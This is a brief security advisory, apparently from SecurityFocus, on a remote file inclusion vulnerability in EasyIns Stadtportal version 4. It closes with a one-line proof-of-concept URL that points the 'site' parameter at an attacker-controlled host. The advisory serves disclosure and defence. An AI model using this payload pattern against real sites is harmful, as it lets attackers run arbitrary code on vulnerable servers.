source: https://www.securityfocus.com/bid/10795/info

EasyIns Stadtportal is reported prone to a vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

EasyIns Stadtportal version 4 is reported prone to this issue. Other versions may be affected as well.

http://www.example.com/stadtportal-path/index.php?site=http://www.evil-host.com